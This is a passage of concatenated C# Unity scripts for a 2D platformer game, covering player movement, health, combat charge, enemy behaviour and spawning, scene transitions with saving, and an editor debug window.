other.GetComponent<Health>().DamageHealth(damage);
}
}
// Update is called once per frame
void Update()
{
transform.Rotate(rotation*Time.deltaTime);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using TMPro;
using UnityEngine.UI;
public class PlayerUIHandler : MonoBehaviour
{
float health;
float charge;
ResourceController _contr;
PlayerHealth pHealth;
CombatCharge pCharge;
private void Start()
{
_contr = FindObjectOfType<ResourceController>();
}
private void Awake()
{
pHealth = FindObjectOfType<PlayerHealth>();
pCharge = FindObjectOfType<CombatCharge>();
}
public void UpdateHealth(float health)
{
this.health = health;
if (_contr == null)
{
_contr = FindObjectOfType<ResourceController>();
}
_contr.SetHealth(health / pHealth.GetMaxHealth());
//healthText.text = "HP: " + this.health;
}
public void UpdateCharge(float charge)
{
this.charge = charge;
if (_contr == null)
{
_contr = FindObjectOfType<ResourceController>();
}
_contr.SetCharge(pCharge.GetCharge());
//chargeText.text = "Charge: " + this.charge*100;
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class WizardCombat : MonoBehaviour
{
[SerializeField] GameObject fireballPrefab;
[SerializeField] float shootFrequency = 0.5f;
[SerializeField] float attackRange = 5f;
[SerializeField] float projSpeed = 4f;
[SerializeField] Transform fireballTransform;
[SerializeField] float projLifeTime = 6f;
Vector2 directionVector;
Transform player;
Animator _animator;
float timeSinceShot = 0f;
float fireballOffsetX;
private void Start()
{
_animator = GetComponent<Animator>();
fireballOffsetX = Mathf.Abs(fireballTransform.position.x - transform.position.x);
}
void Update()
{
Collider2D[] enemiesHit = Physics2D.OverlapCircleAll(transform.position, attackRange, LayerMask.GetMask("Player"));
if (Time.time >= timeSinceShot && enemiesHit.Length > 0)
{
player = enemiesHit[0].transform;
timeSinceShot = Time.time + 1f / shootFrequency;
CheckDirection();
_animator.SetTrigger("CastFireball");
}
}
public void Shoot()
{
directionVector = player.position - fireballTransform.position;
directionVector = directionVector.normalized;
var fireball = Instantiate(fireballPrefab, fireballTransform.position, transform.rotation);
fireball.GetComponent<Fireball>().isBossFireball = false;
fireball.GetComponent<Fireball>().SetMoveVector(directionVector * projSpeed);
StartCoroutine(TrackProjectile(fireball));
}
IEnumerator TrackProjectile(GameObject fBall)
{
yield return new WaitForSeconds(projLifeTime);
if (fBall)
{
fBall.GetComponent<Animator>().SetTrigger("explode");
}
}
private void CheckDirection()
{
var _renderer = GetComponentInChildren<SpriteRenderer>();
if ((player.transform.position.x > transform.position.x) && !_renderer.flipX)
{
_renderer.flipX = true;
var vec = fireballTransform.position;
vec.x += fireballOffsetX*2;
fireballTransform.position = vec;
}
else if ((player.transform.position.x < transform.position.x) && _renderer.flipX)
{
_renderer.flipX = false;
var vec = fireballTransform.position;
vec.x -= fireballOffsetX*2;
fireballTransform.position = vec;
}
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireSphere(transform.position, attackRange);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Door : MonoBehaviour
{
enum DestinationDoor
{
A, B, C, D, E, F
}
[SerializeField] string sceneName;
[SerializeField] int portalIndex = 0;
public string GetSceneName() { return sceneName; }
public Transform GetSpawnPoint() { return transform.GetChild(0); }
public int GetDoorIndex(){ return portalIndex; }
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DeathHandler : MonoBehaviour
{
[SerializeField] GameObject deathCanvas;
public void Die()
{
Time.timeScale = 0;
deathCanvas.SetActive(true);
}
}
<file_sep>using System.IO;
using UnityEditor;
using UnityEngine;
#if UNITY_EDITOR
public class EditorScript : EditorWindow
{
int damage = 1;
float charge = 0.1f;
float gameTimeScale = 0f;
[MenuItem("Window/Player damager, etc.")]
public static void ShowWindow()
{
GetWindow<EditorScript>("Custom editor script");
}
private void OnGUI()
{
GUILayout.Label("Damage player for " + damage + " point", EditorStyles.boldLabel);
damage = EditorGUILayout.IntField("damage done to player", damage);
if (GUILayout.Button("Damage"))
{
FindObjectOfType<PlayerHealth>().KnockBackHit(damage, Random.Range(0, 1) == 1);
}
GUILayout.Label("Add charge to player: " + charge);
charge = EditorGUILayout.FloatField("charge to add", charge);
if (GUILayout.Button("Charge up"))
{
FindObjectOfType<CombatCharge>().AddCharge(charge);
}
GUILayout.Label("Change time scale");
gameTimeScale = EditorGUILayout.Slider(gameTimeScale, 1, 20);
if (GUILayout.Button("Reset save"))
{
File.Delete(Path.Combine(Application.persistentDataPath, "save" + ".sav"));
}
}
private void OnInspectorUpdate()
{
Time.timeScale = gameTimeScale;
}
}
#endif
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using TMPro;
public class Alert : MonoBehaviour, IObserver
{
[SerializeField] float alertWaitTime = 3f;
private GameObject alertSign;
private TextMeshPro alertText;
IEnumerator showAlert;
private void Awake()
{
alertSign = transform.GetChild(0).gameObject;
alertText = alertSign.transform.GetChild(0).GetComponent<TextMeshPro>();
alertSign.SetActive(false);
}
public void ReceiveText(string msg)
{
if (showAlert != null) { StopCoroutine(showAlert); }
showAlert = DisplayAlert(msg);
StartCoroutine(showAlert);
}
public void ReceiveUpdate(ISubject subject)
{
Upgrade up = subject as Upgrade;
string message = up.GetMessage();
if (showAlert != null) { StopCoroutine(showAlert); }
showAlert = DisplayAlert(message);
StartCoroutine(showAlert);
//Debug.Log("You have picked up " + message + "!");
}
private IEnumerator DisplayAlert(string message)
{
alertText.text = "You have picked up " + message + "!";
alertSign.SetActive(true);
yield return new WaitForSeconds(alertWaitTime);
alertSign.SetActive(false);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BossMovement : EnemyMovement
{
private float flipXHitbox = 0.3f;
private float nonFlipXHitbox = -1.2f;
private BossCombat combat;
private BoxCollider2D boxCollider;
protected override void OnAwake()
{
combat = GetComponent<BossCombat>();
boxCollider = GetComponent<BoxCollider2D>();
}
protected override void Update()
{
//body.velocity = movementVec;
if (health.IsDead())
{
movementVec = new Vector2(0, 0);
}
}
public override void ReverseDirection(Collider2D collision)
{
if (!homingIn)
{
if (collision.tag == "BossReflectorHorizontal")
{
movementVec = body.velocity;
movementVec.y = -body.velocity.y;
SetMovementVector(movementVec);
combat.Bounce();
}
else if (collision.tag == "BossReflectorVertical")
{
movementVec = body.velocity;
movementVec.x = -body.velocity.x;
SetMovementVector(movementVec);
combat.Bounce();
}
if (body.velocity.x > 0)
{
render.flipX = true;
}
else
{
render.flipX = false;
}
if (render.flipX)
{
var colliderVector = boxCollider.offset;
colliderVector.x = flipXHitbox;
boxCollider.offset = colliderVector;
}
else
{
var colliderVector = boxCollider.offset;
colliderVector.x = nonFlipXHitbox;
boxCollider.offset = colliderVector;
}
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Breath : MonoBehaviour
{
private float damage = 0f;
[SerializeField] Vector2 dimensions = new Vector2(5f, 2.5f);
[SerializeField] AudioClip bossSound;
[SerializeField] AudioClip ghostSound;
//set damage, color of fire
public void SetDamage(float dmg)
{
damage = dmg;
}
private void Die()
{
Destroy(gameObject);
}
public void PlayBossSound()
{
if (bossSound != null)
{
AudioSource.PlayClipAtPoint(bossSound, transform.position, 1f);
}
}
public void PlayGhostSound()
{
if (ghostSound != null)
{
AudioSource.PlayClipAtPoint(ghostSound, transform.position, 1f);
}
}
private void DamageEnemies()
{
var enemies = Physics2D.OverlapBoxAll(transform.position, dimensions, 0f, LayerMask.GetMask("Player"));
foreach (Collider2D enemy in enemies)
{
if (enemy.tag == "Player")
{
enemy.GetComponent<Health>().DamageHealth(damage);
}
}
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireCube(transform.position, dimensions);
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class SceneLoader : MonoBehaviour
{
[SerializeField] float fadeOutTime = 1f;
[SerializeField] float waitTime = 2f;
[SerializeField] float fadeInTime = 1f;
int mainMenuIndex = 0;
Fader fader;
SavingWrapper wrapper;
// Start is called before the first frame update
void Start()
{
Scene currentScene = SceneManager.GetActiveScene();
fader = FindObjectOfType<Fader>();
wrapper = FindObjectOfType<SavingWrapper>();
//if (currentScene.buildIndex == 0)
//{
// StartCoroutine(MainMenuCoroutine(currentScene.buildIndex));
//}
}
public void LoadNext()
{
int currentScene = SceneManager.GetActiveScene().buildIndex;
StartCoroutine(LoadWithFader(currentScene + 1));
//SceneManager.LoadScene(currentScene + 1);
}
public void QuitGame()
{
Application.Quit();
}
public void DoorLoadScene(string sceneName, int doorIndex)
{
StartCoroutine(DoorLoadCoroutine(sceneName, doorIndex));
}
private IEnumerator LoadWithFader(int sceneNumber)
{
//DontDestroyOnLoad(gameObject);
wrapper.Save();
yield return fader.FadeOut(fadeOutTime);
yield return SceneManager.LoadSceneAsync(sceneNumber);
wrapper.Load();
yield return new WaitForSeconds(waitTime);
yield return fader.FadeIn(fadeInTime);
//Destroy(gameObject);
}
private IEnumerator DoorLoadCoroutine(string sceneName, int doorIndex)
{
//DontDestroyOnLoad(gameObject);
wrapper.Save();
yield return fader.FadeOut(fadeOutTime);
yield return SceneManager.LoadSceneAsync(sceneName);
Door doorToSpawnAt = FindDoor(doorIndex);
wrapper.Load();
if (doorToSpawnAt != null) { SetPlayerLocation(doorToSpawnAt); }
//wrapper.Save();
yield return new WaitForSeconds(waitTime);
yield return fader.FadeIn(fadeInTime);
//Destroy(gameObject);
}
private void SetPlayerLocation(Door doorToSpawnAt)
{
var spawnPoint = doorToSpawnAt.GetSpawnPoint();
var player = FindObjectOfType<PlayerController>().gameObject;
player.transform.position = spawnPoint.position;
}
private Door FindDoor(int doorIndex)
{
var doors = FindObjectsOfType<Door>();
//inline extravaganza
foreach (Door door in doors)
{
if (door.GetDoorIndex() == doorIndex)
{
return door;
}
}
return null;
}
public void LoadLastWrap()
{
StartCoroutine(LoadLastScene());
}
private IEnumerator LoadLastScene()
{
//DontDestroyOnLoad(gameObject);
//wrapper.Save();
yield return SceneManager.LoadSceneAsync(0);
yield return SceneManager.UnloadSceneAsync(SceneManager.GetActiveScene().buildIndex);
yield return fader.FadeOut(fadeOutTime);
yield return new WaitForSeconds(waitTime);
wrapper.LoadLastScene();
yield return SceneManager.UnloadSceneAsync(0);
yield return fader.FadeIn(fadeInTime);
//Destroy(gameObject);
}
public void LoadMainMenu(bool shouldSave)
{
StartCoroutine(MainMenuCoroutine(shouldSave));
}
private IEnumerator MainMenuCoroutine(bool shouldReload)
{
Time.timeScale = 1;
//DontDestroyOnLoad(gameObject);
if (shouldReload)
{
wrapper.Save();
}
SceneManager.UnloadSceneAsync(SceneManager.GetActiveScene().buildIndex);
yield return fader.FadeOut(fadeOutTime);
yield return SceneManager.LoadSceneAsync(mainMenuIndex);
yield return new WaitForSeconds(waitTime);
yield return fader.FadeIn(fadeInTime);
//Destroy(gameObject);
}
public void TryAgain()
{
StartCoroutine(TryAgainCoroutine());
}
private IEnumerator TryAgainCoroutine()
{
//DontDestroyOnLoad(gameObject);
yield return fader.FadeOut(fadeOutTime);
wrapper.Load();
yield return new WaitForSeconds(waitTime);
yield return fader.FadeIn(fadeInTime);
//Destroy(gameObject);
}
public string GetSceneName()
{
return SceneManager.GetActiveScene().name;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UpgradeSignal : PlayerEnterExit
{
Upgrade up;
ParticleSystem sys;
void Start()
{
sys = GetComponent<ParticleSystem>();
up = GetComponentInParent<Upgrade>();
}
protected override void OnPlayerEnter()
{
if (!up.GetIsPicked()) { sys.Play(); }
}
protected override void OnPlayerExit()
{
sys.Stop();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class SavingWrapper : MonoBehaviour
{
const string defaultSaveFile = "save";
float fadeInTime = 0.5f;
private IEnumerator Start()
{
Fader fader = FindObjectOfType<Fader>();
fader.GetComponent<Canvas>().sortingOrder = 10;
fader.FadeOutImmediately();
if (SceneManager.GetActiveScene().name != "Main Menu") { yield return GetComponent<SavingSystem>().LoadLastScene(defaultSaveFile);}
yield return fader.FadeIn(fadeInTime);
fader.GetComponent<Canvas>().sortingOrder = 0;
}
//private void Update()
//{
// if (Input.GetKeyDown(KeyCode.O))
// {
// Save();
// }
// if (Input.GetKeyDown(KeyCode.P))
// {
// Load();
// }
//}
public void LoadLastScene()
{
StartCoroutine(GetComponent<SavingSystem>().LoadLastScene(defaultSaveFile));
}
public void DeleteSave()
{
GetComponent<SavingSystem>().DeleteSave(defaultSaveFile);
}
public void Load()
{
GetComponent<SavingSystem>().Load(defaultSaveFile);
}
public void Save()
{
GetComponent<SavingSystem>().Save(defaultSaveFile);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
//for now, full charge will just double the damage
public class CombatCharge : MonoBehaviour, ISaveable
{
//what percent of max charge should you lose
[SerializeField] float chargeDecreaseRate = 0.05f;
//decrease charge every second
[SerializeField] float chargeDecreaseTime = 1f;
[SerializeField] float maxGlow = 3.5f;
//how much damage should the player do before fully charged
[SerializeField] float maxDamage = 60f;
[SerializeField] float chargeGracePeriod = 2f;
PlayerUIHandler handler;
SpriteRenderer _renderer;
//shows if charge decrementation started
bool isDecreasing = false;
float maxCharge = 1f;
[SerializeField] float currentCharge = 0f;
Color color;
IEnumerator Charging;
private void Start()
{
_renderer = GetComponentInChildren<SpriteRenderer>();
handler = GetComponent<PlayerUIHandler>();
color = _renderer.material.GetColor("GlowColor");
UpdateCharge();
}
public void AddCharge(float dmg, bool isChargingFist = false)
{
currentCharge = Mathf.Clamp(currentCharge + dmg / maxDamage, 0, maxCharge);
UpdateCharge();
if (
//!isDecreasing &&
!isChargingFist)
{
if (Charging != null) { StopCoroutine(Charging); }
Charging = DecreaseCharge();
StartCoroutine(Charging);
}
}
private IEnumerator DecreaseCharge()
{
isDecreasing = true;
yield return new WaitForSeconds(chargeGracePeriod);
while (currentCharge > 0)
{
currentCharge = Mathf.Clamp(currentCharge - chargeDecreaseRate, 0, 1f);
UpdateCharge();
if (currentCharge == 0) isDecreasing = false;
yield return new WaitForSeconds(chargeDecreaseTime);
}
}
public void ResetCharge(float charge)
{
currentCharge = charge;
UpdateCharge();
}
private void UpdateCharge()
{
float factor = currentCharge * maxGlow + 0.1f;
Color newColor = new Color(color.r * factor, color.g * factor, color.b * factor, color.a * factor);
handler.UpdateCharge(currentCharge);
_renderer.material.SetColor("GlowColor", newColor);
}
public float GetCharge() { return currentCharge; }
public float GetMaxDamage() { return maxDamage; }
public object CaptureState()
{
return currentCharge;
}
public void RestoreState(object state)
{
currentCharge = (float)state;
//UpdateCharge();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Experimental.Rendering.Universal;
using System;
public class PlayerHealth : MonoBehaviour, ISaveable, Health
{
[SerializeField] float totalHealth = 20f;
[SerializeField] float maxHealth = 20f;
[SerializeField] float invulnerableTime = 1f;
[SerializeField] float deathWaitTime = 1f;
[SerializeField] GameObject invulLight;
[SerializeField] GameObject deathCanvas;
PlayerUIHandler handler;
PlayerController controller;
Animator anim;
bool isDead = false;
bool isInvulnerable = false;
private void Start()
{
handler = FindObjectOfType<PlayerUIHandler>();
anim = GetComponent<Animator>();
controller = GetComponent<PlayerController>();
handler.UpdateHealth(totalHealth);
}
public void KnockBackHit(float dmg, bool knockedRight)
{
if (!isInvulnerable && !controller.GetRolling())
{
DamageHealth(dmg);
controller.KnockBack(knockedRight);
}
}
public void DamageHealth(float dmg)
{
if (!isInvulnerable && !controller.GetRolling())
{
if (!isDead)
{
GetComponent<PlayerCombat>().DisruptFirePunch(false);
StartCoroutine(BecomeInvulnerable());
totalHealth -= dmg;
handler.UpdateHealth(totalHealth);
if (totalHealth <= 0)
{
HandleDeath();
}
}
}
}
private IEnumerator BecomeInvulnerable()
{
invulLight.GetComponent<Light2D>().intensity = 20f;
isInvulnerable = true;
yield return new WaitForSeconds(invulnerableTime);
invulLight.GetComponent<Light2D>().intensity = 0;
isInvulnerable = false;
}
private void HandleDeath()
{
//this boolean doesn't matter much.
controller.KnockBack(true);
isDead = true;
//this.enabled = false;
}
public void Die()
{
if (isDead)
{
anim.SetBool("isDead", true);
StartCoroutine(DeathCoroutine());
}
}
private IEnumerator DeathCoroutine()
{
Time.timeScale = 0;
deathCanvas.SetActive(true);
yield return new WaitForSecondsRealtime(deathWaitTime);
deathCanvas.transform.GetChild(0).GetChild(0).gameObject.SetActive(true);
}
public void Heal(float healing)
{
totalHealth = Mathf.Clamp(totalHealth + healing, 0, maxHealth);
handler.UpdateHealth(totalHealth);
}
public object CaptureState()
{
return totalHealth;
}
public void RestoreState(object state)
{
totalHealth = (float)state;
if (totalHealth <= 0)
{
isDead = true;
Die();
}
}
public bool IsDead()
{
return isDead;
}
public float GetMaxHealth()
{
return maxHealth;
}
public float GetHealth()
{
return totalHealth;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemySpawner : MonoBehaviour
{
[SerializeField] private Vector3 spawnerDimensions = new Vector3(10f, 0.5f, 0f);
[SerializeField] private GameObject enemyPrefab;
[SerializeField] private float secondsBetweenSpawns = 2f;
[SerializeField] private int maxEnemies = 10;
[SerializeField] private Vector2 movementVec = new Vector2(2f, 0f);
[SerializeField] private bool randomizeY = false;
bool isSpawning = true;
// Start is called before the first frame update
void Start()
{
StartCoroutine(spawnMonsters());
}
private IEnumerator spawnMonsters()
{
isSpawning = true;
while (transform.childCount <= maxEnemies)
{
Vector3 location = transform.position;
location.x = Random.Range(-0.5f * spawnerDimensions.x + location.x, 0.5f * spawnerDimensions.x + location.x);
if (randomizeY)
{
location.y = Random.Range(-0.5f * spawnerDimensions.y + location.y, 0.5f * spawnerDimensions.y + location.y);
}
var enem = Instantiate(enemyPrefab, location, transform.rotation, this.transform);
enem.GetComponent<EnemyMovement>().SetMovementVector(movementVec);
yield return new WaitForSeconds(secondsBetweenSpawns);
}
isSpawning = false;
}
private void Update()
{
if (!isSpawning && transform.childCount <= maxEnemies) StartCoroutine(spawnMonsters());
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireCube(transform.position, spawnerDimensions);
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerController : MonoBehaviour, ISaveable
{
const float climbTranfsormOffset = -0.65f;
[Header("Movement")]
[SerializeField] float walkSpeedMax = 3f;
[SerializeField] float runSpeedMax = 6f;
[SerializeField] float acceleration = 10f;
[SerializeField] float jumpVelocity = 8f;
[SerializeField] float climbSpeed = 3f;
[SerializeField] float rollTime = 0.8f;
[SerializeField] float climbDelayTime = 0.2f;
[SerializeField] float knockbackX = 1f;
[SerializeField] float knockbackY = 0.5f;
[SerializeField] Vector2 accelerationVector;
float fallTime;
float jumpTime;
bool isCrouching = false;
bool isRunning = false;
bool isClimbing = false;
bool isJumping = false;
bool isFalling = false;
bool hasStopped = true;
bool isRolling = false;
bool canJumpOrFall = false;
bool climbingNeedsReset = false;
bool rollingNeedsReset = false;
bool areControlsEnabled = true;
//TODO: get these values at runtime from colliders
float playerColliderHeight = 0.75f;
float playerColliderWidth = 0.72f;
int timesJumped = 0;
SpriteRenderer _renderer;
Animator _animator;
Collider2D feetCollider;
Collider2D handsCollider;
Collider2D noWallJumpCollider;
Collider2D crouchCollider;
Rigidbody2D _rigidBody;
Transform spriteTransform;
PlayerUpgrades upgrades;
// Start is called before the first frame update
void Start()
{
upgrades = GetComponent<PlayerUpgrades>();
spriteTransform = transform.GetChild(1);
_animator = GetComponent<Animator>();
feetCollider = GetComponent<CapsuleCollider2D>();
handsCollider = GetComponent<BoxCollider2D>();
noWallJumpCollider = transform.Find("Body").gameObject.GetComponent<CapsuleCollider2D>();
crouchCollider = GetComponent<PolygonCollider2D>();
_renderer = GetComponentInChildren<SpriteRenderer>();
_rigidBody = GetComponent<Rigidbody2D>();
}
// Update is called once per frame
void Update()
{
HandleAcceleration();
if (areControlsEnabled) { HandleMovementInput(); }
checkIfRollEnded();
CheckForFalling();
}
private void checkIfRollEnded()
{
if (!_animator.GetCurrentAnimatorStateInfo(0).IsName("Roll") && rollingNeedsReset)
{
isRolling = false;
rollingNeedsReset = false;
if (!_animator.GetCurrentAnimatorStateInfo(0).IsName("Crouch")) { _animator.SetBool("isCrouching", isRolling); }
}
}
public void KnockBack(bool knockedRight)
{
_animator.SetBool("knockedBack", true);
areControlsEnabled = false;
accelerationVector = new Vector2(0, 0);
if (knockedRight)
{
_rigidBody.velocity = new Vector2(knockbackX, knockbackY);
}
else
{
_rigidBody.velocity = new Vector2(-knockbackX, knockbackY);
}
}
public void EndKnockBack()
{
_animator.SetBool("knockedBack", false);
areControlsEnabled = true;
}
private void OnCollisionEnter2D(Collision2D collision)
{
Land();
}
private void OnCollisionStay2D(Collision2D collision)
{
Land();
}
private void OnCollisionExit2D(Collision2D collision)
{
canJumpOrFall = true;
}
private void Land()
{
if (Time.time - jumpTime <= climbDelayTime) return;
if ((isTouchingGround() || isTouchingLadders()) && (isFalling || isJumping))
{
GetComponent<PlayerAudio>().PlayLand();
canJumpOrFall = false;
isFalling = false;
isJumping = false;
timesJumped = 0;
_animator.SetBool("isFalling", false);
_animator.SetBool("kickAerial", false);
if (isTouchingGround())
{
if (Time.time - fallTime < rollTime)
{
_animator.SetTrigger("landed_Noroll");
}
else
{
_animator.SetTrigger("landed");
}
}
}
}
public void MoveToLedge()
{
var ledgePos = transform.position;
ledgePos.y += playerColliderHeight;
if (_renderer.flipX)
{
ledgePos.x -= playerColliderWidth;
}
else
{
ledgePos.x += playerColliderWidth;
}
transform.position = ledgePos;
_animator.SetBool("isLedging", false);
_rigidBody.gravityScale = 0;
_animator.speed = 0;
}
public object CaptureState()
{
return new SerializableVector(transform.position);
}
public void RestoreState(object state)
{
SerializableVector vec = state as SerializableVector;
transform.position = vec.GetVector();
}
#region Movement
void HandleMovementInput()
{
if (Input.GetKeyDown(KeyCode.DownArrow))
{
CrouchTransition(true);
}
if ((Input.anyKey && !Input.GetKey(KeyCode.DownArrow) && isCrouching) || (Input.GetKeyUp(KeyCode.DownArrow) && !isRolling))
{
CrouchTransition(false);
}
if (_animator.GetBool("isLedging") && _animator.speed == 0)
{
if (Input.anyKey)
{
MoveToLedge();
}
}
HandleClimb();
if (!hasStopped && !isCrouching)
{
if (Input.GetKey(KeyCode.Q))
{
isRunning = true;
}
else
{
isRunning = false;
}
}
if (Input.GetKeyDown(KeyCode.Space))
{
Jump();
}
if (Input.GetKey(KeyCode.LeftArrow))
{
HandleHorizontalMovement(-1f);
hasStopped = false;
}
else if (Input.GetKey(KeyCode.RightArrow))
{
HandleHorizontalMovement(1f);
hasStopped = false;
}
else if (!hasStopped && !isRolling)
{
StopPlayer();
}
}
private void StopPlayer()
{
accelerationVector = new Vector2(0, 0);
_animator.SetBool("isRunning", false);
_animator.SetBool("isWalking", false);
Vector2 vel = _rigidBody.velocity;
vel.x = 0;
_rigidBody.velocity = vel;
hasStopped = true;
}
private void CrouchTransition(bool crouching)
{
if (isTouchingGround())
{
isCrouching = crouching;
_animator.SetBool("isCrouching", crouching);
ShrinkHitbox(crouching);
}
else
{
isCrouching = false;
_animator.SetBool("isCrouching", false);
ShrinkHitbox(false);
}
}
private void ShrinkHitbox(bool crouching)
{
if (crouching)
{
crouchCollider.enabled = true;
handsCollider.enabled = false;
feetCollider.enabled = false;
noWallJumpCollider.enabled = false;
}
else
{
handsCollider.enabled = true;
feetCollider.enabled = true;
noWallJumpCollider.enabled = true;
crouchCollider.enabled = false;
}
}
private void HandleClimb()
{
float axisThrow = Input.GetAxis("Vertical");
if (axisThrow != 0)
{
jumpTime = 0;
}
if (isTouchingLadders())
{
isFalling = false;
isJumping = false;
timesJumped = 0;
_animator.SetBool("isFalling", false);
_animator.SetBool("kickAerial", false);
if (!isTouchingGround() && isTouchingLadders())
{
climbingNeedsReset = true;
_rigidBody.gravityScale = 0;
isClimbing = true;
spriteTransform.position = new Vector2(transform.position.x, transform.position.y + climbTranfsormOffset);
_animator.SetBool("isClimbing", isClimbing);
}
if (axisThrow != 0 && !_animator.GetCurrentAnimatorStateInfo(0).IsName("Punch"))
{
climbingNeedsReset = true;
_animator.speed = 1;
var climbVec = _rigidBody.velocity;
climbVec.y = climbSpeed * axisThrow;
_rigidBody.velocity = climbVec;
}
else if (isClimbing)
{
climbingNeedsReset = true;
_animator.speed = 0;
var climbVec = _rigidBody.velocity;
climbVec.y = 0;
_rigidBody.velocity = climbVec;
}
}
else if (climbingNeedsReset)
{
_rigidBody.gravityScale = 1;
_animator.speed = 1;
isClimbing = false;
climbingNeedsReset = false;
spriteTransform.position = transform.position;
_animator.SetBool("isClimbing", isClimbing);
}
}
private void CheckForFalling()
{
if (!feetCollider.IsTouchingLayers(LayerMask.GetMask("Ground")) && handsCollider.IsTouchingLayers(LayerMask.GetMask("Ground")))
{
canJumpOrFall = true;
}
if (_rigidBody.velocity.y < -1 * Mathf.Epsilon && !isTouchingGround() && !isFalling && !isClimbing && canJumpOrFall)
{
isJumping = false;
isFalling = true;
isRolling = false;
_animator.SetBool("isFalling", true);
fallTime = Time.time;
}
}
private void Jump()
{
//player can jump only twice
if (isTouchingGround() || isTouchingLadders() || timesJumped < 2)
{
GetComponent<PlayerAudio>().PlayJump();
var jumpVec = _rigidBody.velocity;
jumpVec.y = jumpVelocity;
_rigidBody.velocity = jumpVec;
isJumping = true;
CheckIfDoubleJump();
isFalling = false;
StopRoll();
_animator.SetBool("isFalling", false);
_animator.SetTrigger("jump");
jumpTime = Time.time;
}
}
private void CheckIfDoubleJump()
{
if (upgrades.HasUpgrade(Upgrade.UpgradeType.DoubleJump))
{
timesJumped++;
}
else
{
//maximum jumps
timesJumped = 2;
}
}
private void HandleHorizontalMovement(float axisThrow)
{
accelerationVector.x = axisThrow * acceleration;
if (accelerationVector.x > 0)
{
_renderer.flipX = false;
}
else if (accelerationVector.x < 0)
{
_renderer.flipX = true;
}
SetCorrectAnimation();
}
private void SetCorrectAnimation()
{
if (isTouchingGround())
{
if (!isCrouching)
{
isRolling = false;
_animator.SetBool("isRunning", false);
_animator.SetBool("isWalking", true);
if (isRunning)
{
_animator.SetBool("isRunning", true);
}
}
else if (!isRolling)
{
isRolling = true;
_animator.SetTrigger("landed_Noroll");
}
}
}
public void RollInitiated()
{
rollingNeedsReset = true;
}
public void StopRoll()
{
_animator.ResetTrigger("landed_Noroll");
isRolling = false;
}
void HandleAcceleration()
{
Vector2 vel = _rigidBody.velocity;
if (!isRunning)
{
vel += accelerationVector*Time.deltaTime;
vel.x = Mathf.Clamp(vel.x, -walkSpeedMax, walkSpeedMax);
}
else
{
vel += accelerationVector* Time.deltaTime * 2;
vel.x = Mathf.Clamp(vel.x, -runSpeedMax, runSpeedMax);
}
_rigidBody.velocity = vel;
}
private bool isTouchingLadders()
{
if (Time.time - jumpTime <= climbDelayTime) return false;
return handsCollider.IsTouchingLayers(LayerMask.GetMask("Ladders"));
}
private bool isTouchingLedges()
{
return handsCollider.IsTouchingLayers(LayerMask.GetMask("Ledges"));
}
private bool isTouchingGround()
{
return (feetCollider.IsTouchingLayers(LayerMask.GetMask("Ground", "Ledges")) || crouchCollider.IsTouchingLayers(LayerMask.GetMask("Ground", "Ledges")));
}
public bool GetRolling() { return isRolling; }
public bool GetIsJumping(){return isJumping;}
public bool GetIsFalling() { return isFalling; }
#endregion
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyMovement : MonoBehaviour, ISaveable
{
//[SerializeField] protected float MoveSpeed = 2f;
[SerializeField] protected Vector2 movementVec;
[SerializeField] float damagedTimeFrame = 1f;
[SerializeField] float knockbackX = 3f;
[SerializeField] float knockbackY = 1f;
protected bool homingIn { get; set; }
float timeLastDamaged = 0;
protected Rigidbody2D body;
protected SpriteRenderer render;
protected Health health;
private void Awake()
{
homingIn = false;
health = GetComponent<Health>();
body = GetComponent<Rigidbody2D>();
render = GetComponentInChildren<SpriteRenderer>();
OnAwake();
}
protected virtual void OnAwake()
{
return;
}
protected virtual void Update()
{
body.velocity = new Vector2(movementVec.x, body.velocity.y);
if (health.IsDead())
{
movementVec = new Vector2(0, 0);
}
}
public IEnumerator Damaged()
{
Vector2 rememberVec = movementVec;
SetMovementVector(Vector2.zero);
yield return new WaitForSeconds(damagedTimeFrame);
movementVec = rememberVec;
}
public IEnumerator KnockBack(bool knockedRight)
{
Vector2 rememberVec = movementVec;
if (knockedRight)
{
movementVec = new Vector2(knockbackX, knockbackY);
}
else
{
movementVec = new Vector2(-knockbackX, knockbackY);
}
yield return new WaitForSeconds(damagedTimeFrame);
movementVec = rememberVec;
}
private void UnDamaged(Vector2 remVec)
{
if (render.flipX)
{
movementVec = remVec;
}
else
{
movementVec = remVec;
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
ReverseDirection(collision);
}
private void OnTriggerStay2D(Collider2D collision)
{
ReverseDirection(collision);
}
public void SetMovementVector(Vector2 movVec)
{
movementVec = movVec;
body.velocity = movVec;
}
public virtual void ReverseDirection(Collider2D collision)
{
if (!homingIn)
{
if (collision.tag == "EnemyLedgeLeft")
{
movementVec = Mathf.Abs(movementVec.x) * Vector2.right;
render.flipX = true;
}
else if (collision.tag == "EnemyLedgeRight")
{
movementVec = Mathf.Abs(movementVec.x) * Vector2.left;
render.flipX = false;
}
}
}
public void SetHomingIn(bool homingSet)
{
homingIn = homingSet;
}
public object CaptureState()
{
return new SerializableVector(transform.position);
}
public void RestoreState(object state)
{
SerializableVector vec = state as SerializableVector;
transform.position = vec.GetVector();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
